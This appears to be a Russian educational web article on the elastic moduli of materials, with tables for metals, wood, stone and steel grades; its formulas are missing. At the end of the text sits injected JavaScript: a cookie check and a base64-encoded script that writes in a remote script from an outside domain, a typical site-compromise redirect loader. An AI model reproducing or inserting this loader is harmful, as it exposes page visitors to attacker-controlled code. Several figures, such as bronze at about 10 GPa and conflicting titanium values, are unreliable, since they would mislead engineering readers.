Сталь	190/210
Стекло	70
Титан	112
Хром	300

Модулем упругости второго рода называют модуль сдвига (G), который показывает сопротивление материала к сдвигающей силе (FG). Может быть выражена двумя способами.

Через касательные напряжения (τ_z) и угол сдвига (γ):

Через соотношение модуля упругости первого рода и коэффициента Пуасонна (ν):

Определенное в результате экспериментов значение сопротивления материала изгибу, называется модулем упругости при изгибе, и вычисляется следующим образом:

где F_р – разрушающая сила, Н;

L – расстояние между опорами, мм;

b, h – ширина и толщина образца, мм;

ƒ₁, ƒ₂– прогибы, образованные в результате нагрузки F₁ и F₂.

При равномерном давлении по всему объему на объект, возникает его сопротивление, называемое объемным модулем упругости или модулем сжатия (К). Выразить этот параметр можно, практически через все известные модули и коэффициент Пуассона.

Определение модуля упругости щебеночного основания

Параметры Ламе также используют для описания оценки прочности материала. Их два μ – модуль сдвига и λ. Они помогают учитывать все изменения внутри материала в трехмерном пространстве, тогда соотношения между нормальным напряжением и деформацией будет выглядеть следующим образом:

σ = 2με + λtrace(ε)I (7)

Оба параметра могут быть выражены из следующих соотношений:

Модуль упругости различных материалов

Модули упругости для различных материалов имеют совершенно разные значения, которые зависят от:

природы веществ, формирующих состав материала;
моно- или многокомпонентный состав (чистое вещество, сплав и так далее);
структуры (металлическая или другой вид кристаллической решетки, молекулярное строение прочее);
плотности материала (распределения частиц в его объеме);
обработки, которой он подвергался (обжиг, травление, прессование и тому подобное).

Так, например, в справочных данных можно найти, что модуль упругости для алюминия составляет диапазон от 61,8 до 73,6 ГПа. Видимо, это и зависит от состояния металла и вида обработки, потому как для отожженного алюминия модуль Юнга – 68,5 ГПа.

Его значение для бронзовых материалов зависит не только от обработки, но и от химического состава:

бронза – 10,4 ГПа;
алюминиевая бронза при литье – 10,3 ГПа;
фосфористая бронза катанная – 11,3 ГПа.

Модуль Юнга латуни на много ниже – 78,5-98,1. Максимальное значение имеет катанная латунь.

Сама же медь в чистом виде характеризуется сопротивлением к внешним воздействиям значительно большим, чем ее сплавы – 128,7 ГПа. Обработка ее также снижает показатель, в том числе и прокатка:

литая – 82 ГПа;
прокатанная – 108 ГПа;
деформированная – 112 ГПа;
холоднотянутая – 127 ГПа.

Близким значением к меди обладает титан (108 ГПа), который считается одним из самых прочных металлов. А вот тяжелый, но ломкий свинец, показывает всего 15,7-16,2 ГПа, что сравнимо с прочностью древесины.

Для железа показатель напряжения к деформации также зависит от метода его обработки: литое – 100-130 или кованное – 196,2-215,8 ГПа.

Чугун известен своей хрупкостью имеет отношение напряжения к деформации от 73,6 до 150 ГПа, что соответствует от его виду. Тогда как для стали модуль упругости может достигать 235 ГПа.

Модули упругости некоторых материалов

На величины параметров прочности влияют также и формы изделий. Например, для стального каната проводят расчеты, где учитывают:

его диаметр;
шаг свивки;
угол свивки.

Интересно, что этот показатель для каната будет значительно ниже, чем для проволоки такого же диаметра.

Стоит отметить прочность и не металлических материалов. Например, среди модулей Юнга дерева наименьший у сосны – 8,8 ГПа, а вот у группы твердых пород, которые объединены под названием «железное дерево» самый высокий – 32,5 ГПа, дуб и бук имеют равные показатели – 16,3 ГПа.

Среди строительных материалов, сопротивление к внешним силам у, казалось бы, прочного гранита всего 35-50 ГПа, когда даже у стекла – 78 ГПа. Уступают стеклу бетон – до 40 ГПа, известняк и мрамор, со значениями 35 и 50 ГПа соответственно.

Такие гибкие материалы, как каучук и резина, выдерживают осевую нагрузку от 0,0015 до 0,0079 ГПа.

Выяснить модули упругости для различных марок стали можно несколькими путями:

по справочным данным из таблиц;
экспериментальными методами для небольшого образца;
расчетными методами, зная необходимые данные.

Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.

Сталь	Модуль (Е), ГПа
углеродистая	195-205
легированная	206-235
Ст.3, Ст.5	210
сталь 45	200
25Г2С, 30ХГ2С	200

Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.

Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.

В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:

Расчеты ведут в мм и МПа.

Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0>var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time)

Читайте также: